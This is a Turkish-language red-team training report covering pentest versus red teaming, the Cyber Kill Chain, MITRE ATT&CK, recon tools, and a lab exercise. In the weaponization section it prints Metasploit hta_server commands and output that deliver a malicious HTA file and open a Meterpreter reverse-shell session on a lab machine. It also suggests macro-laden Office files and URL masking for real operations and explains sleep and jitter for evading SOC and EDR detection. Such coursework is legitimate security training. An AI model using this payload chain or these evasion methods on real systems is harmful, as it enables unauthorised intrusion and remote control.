

ANKACORE26 - BORA DENİZ YILMAZ – 201 RED TEAM
OPERASYONU: “Adversary Simulation – 08.05.2026

1. Zihniyet Değişimi: "Gürültülü vs. Sessiz"

Geleneksel bir "Sızma Testi" (Pentest) ile "Kırmızı Takım" (Red Team) operasyonu arasındaki temel fark nedir? Neden Pentest gürültülüyken, Red Team operasyonları aylarca sürebilen sessiz bir süreçtir?

Sızma testleri bir sistemin, sunucunun, web sunucusunun veya bunlar gibi bileşenlerin üzerine yapılan bir güvenlik testidir. Temel olarak red team operasyonundan farkı ağırlıklı olarak teknik açıda olması. Zafiyet bulmak, sistemin sömürülebilir olup olmadığını bulmak, risk analizi yapmak ve test sonrası sistem için alınabilecek önlemler, değişiklikler veya bir başka değişim ile sistemin daha güvenli olması ve risk değerini azaltmak için verilen öneriler de diyebiliriz. Red team operasyonları daha farklıdır. İşin sadece teknik kısmı yoktur. Kısaca asıl amaç gerçek bir tehdit aktörünü, gerçek bir saldırganı simüle etmektir. Bir diğer farkları şunlardır; Savunma tarafında yer alan çalışanları test etmek (fiziksel güvenlik ve eğer varsa SOC takımı), insanları test etmek (sosyal mühendisliği phishing, spear fishing ve diğerleri), fark edilmeden sisteme sızmak, EDR IPS IDS gibi alarm verebilecek sistemleri test etmek. Gerçek hayattaki tehdit aktörleri yavaş ve planlı bir şekilde ilerledikleri için red team operasyonları hem uzun sürebilir hemde sessiz olan bir süreçtir. Ama pentest, red team operasyonlarına göre daha hızlı ve gürültülüdür çünkü amaç sistemin teknik açıklarına bakmaktır. Red team operasyonları, black box pentest ile karıştırılmamalıdır.

2. Saldırının Anatomisi: Cyber Kill Chain

Cyber Kill Chain (Siber Cinayet Zinciri) nedir? Bir saldırgan hedefine ulaşana kadar hangi 7 kritik aşamadan geçer? (Keşiften Eyleme kadar mantığını özetleyin).

Reconnaissance: Bu aşama keşif kısmıdır. Bu aşamada saldırgan hedef/sistem hakkında bilgi toplar. Bu bilgiler sistem ile iletişime girerek alınabilir (port taraması) veya WHOIS, OSINT gibi yöntemleri kullanarak bilgi toplayabilir

Weaponization: Burada saldırgan saldırıyı hazırlamaya başlar ve bunun planlamasını yapar. Saldırgan hedefe uygun payloadı hazırlamaya başlar, bunlar düz bir exe dosyası, sahte login sayfası, pdf ve benzeri.

Delivery: Saldırgan oluşturduğu veya kullandığı payloadı hedefe ulaştırır. Mail, usb gibi yöntemler ile zararlı yazılımı hedefe ulaştırır.

Exploitation: Burada zararlı yazılım çalıştırılır veya başka bir adı ile zafiyet çalıştırılır. Saldırgan burada ilk erişimi alır

Installation: Burada saldırgan sistemde kalıcılık yapmaya çalışır ki sistem kapandığı zaman tekrardan girebilir. Görev zamanlayıcı gibi basit yöntemler veya daha gelişmiş persistence yöntemleri kullanılır.

Command & Control (C2): Saldırgan burada hedef ile aktif iletişim kurmaya başlar. Burada hedef sisteme komutlar gönderilir. Yani sistem kontrol edilir.

Actions on Objectives: Bu aşamada saldırganın amacı ne ise onu yapar. Veri çalmak, fideye yazılım yüklemek, sisteme zarar vermek gibi amaçları gerçekleştirir.

Taktik Haritası: MITRE ATT&CK

Güvenlik sektöründe herkesin konuştuğu MITRE ATT&CK Framework ne işe yarar? Biz Kırmızı Takım olarak bu haritayı neden kullanıyoruz?

MITRE ATT&CK, gerçek saldırganların kullandığı taktik ve teknikleri standartlaştırılmış şekilde haritalayan bir framework'tür. Red team ekipleri bu haritayı operasyonlarda gerçek tehdit aktörlerinin davranışlarına benzetmek ve savunma ekiplerinin alarm ve tespit etme özelliklerini test etmek için kullanır.



Cephe 1: Kapıdan Girmek (Initial Access)

1. Oda - Red Team Recon

Bu oda bize nasıl reconnaissance yapılacağını uygulamalı bir şekilde anlatıyor. Öncelikle recon türleri:

Passive Recon - Hedefe direkt dokunmadan bilgi toplama

Active Recon - Hedefle etkileşime girip bilgi toplama

External Recon - İnternete açık sistemlere karşı keşif

Internal Recon - İç ağdan keşif yapma

Google dorking: Google kullanarak hedef hakkında bilgi edinebiliriz. filetype:pdf, site, intitle, inurl: gibi parametreler.

Öğrendiğimiz araçların bazıları:

whois - domain sahibi, mail, DNS bilgileri

dig - DNS kayıtlarını gösterir

Maltego - kişi, domain, şirket, mail ilişkilerini grafik halinde takip etmeye yardım eder

recon-ng - OSINT framework, otomatik bilgi toplama, birden çok OSINT aracı

Shodan - internete açık cihaz/sistem arama motoru

2. Oda – Weaponization

Bu odanın ana konusu kısa yoldan payload oluşturmak ve oluşturulan payload'u kurban sisteme nasıl ulaştıracağımız hakkındadır.

Burada hta üzerinden bir backdoor oluşturduk. Kurban sistem oluşturulan url içerisine girip hta dosyasını çalıştırdığında payload execute edilmiş oluyor ve içeriye girmiş oluyoruz.

```
msf > use exploit/windows/misc/hta_server
set l[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/misc/hta_server) > set lhost 192.168.170.74
lhost => 192.168.170.74
msf exploit(windows/misc/hta_server) > set lport 443
lport => 443
msf exploit(windows/misc/hta_server) > set srhhost 192.168.170.74
srhhost => 192.168.170.74
msf exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 192.168.170.74:443
[*] Using URL: http://192.168.170.74:8080/k7T6jk0h34ivI.hta
[*] Server started.
[*] 10.112.184.36 hta_server - Delivering Payload
[*] Sending stage (190534 bytes) to 10.112.184.36
[*] Meterpreter session 1 opened (192.168.170.74:443 -> 10.112.184.36:50220) at 2026-05-08 04:33:33 -0400
Interrupt: use the 'exit' command to quit
msf exploit(windows/misc/hta_server) > sessions

Active sessions
=====

  Id  Name  Type           Information                                     Connection
  --  ---  ---
  1    meterpreter x86/windows DESKTOP-1AU6NT4\thm @ DESKTOP-1AU6NT4 192.168.170.74:443 -> 10.112.184.36:50220 (10.112.184.36)

msf exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
```

Burada hta dosyası ile içeri sızmış bulunmaktayım. Url masking ile birlikte çok etkili bir yöntem olduğu için. Gerçek bir operasyonda kullanılacak yöntem değişken olacaktır. Sürekli pdf, xls, word gibi dosya formatları ile çalışan ofis ortamlarında vba'lı yani makrolu dosyalar çok daha uygun olacaktır. Payload dosyasını msfconsole üzerinden hta_server modülü ile hazırladım. Bu bize bir url verip içerisine zararlı hta dosyasını koyuyor.

HTA dosyamızı hazırladık. HTA dosyasında olan destination port ve ip adresini msfconsole aracına geçirdik. Doğru exploit ve doğru konfigürasyonları yaptıktan sonra dinleyici başlatıyoruz. Kurban makine dosyayı açtığı an dinleyicimiz bize oturum açar böylelikle cihaza sızmış oluruz.

FAZ 3: Strateji Raporu (Conclusion):

1. Payload Mantığı:

Bir zararlı dosya oluştururken "Bind Shell" ile "Reverse Shell" arasındaki o kritik fark nedir? Kurumsal ağların güvenlik duvarları (Firewall) düşünüldüğünde Kırmızı Takım neden her zaman Reverse Shell'i tercih eder?

Bind Shell de kurban sistem bir portu dinlemeye geçer ve bağlanmasını bekler. Reverse Shell de ise tam tersi olur.

2. Gecikme ve Hata (Jitter & Sleep):

Zararlı yazılımımız, C&C sunucusuyla (bizimle) haberleşirken neden komutları anında iletmez de araya "Sleep" (Uyku) ve "Jitter" (Rastgele gecikme) süreleri koyarız? Kimi kandırmaya çalışıyoruz?

Zararlı yazılım ve hedef sistemin saniyede yüzlerce kez C&C sunucusuna bağlanması, sabit zamanlarda trafik üretmesi blue team tarafında sorun yaratır. Sleep denilen uykunun amacı şudur belli bir süre hiçbir şey yapmaz, ardından birdaha aktif olur ardından tekrar susar. Bunun amacı trafiği azaltmak ve tespit edilmekten kaçmaktır. Jitter ise zararlı yazılımın belirli sürelerde paket göndermesinden ziyade rastgele zamanlarda göndermesidir. Eğer hep 1 dakikada 1 işlem oluyorsa bunun tespit edilmesi kolay olur. Buradaki temel amaç SOC takımını EDR, IPS/IDS gibi hedefleri kandırmak.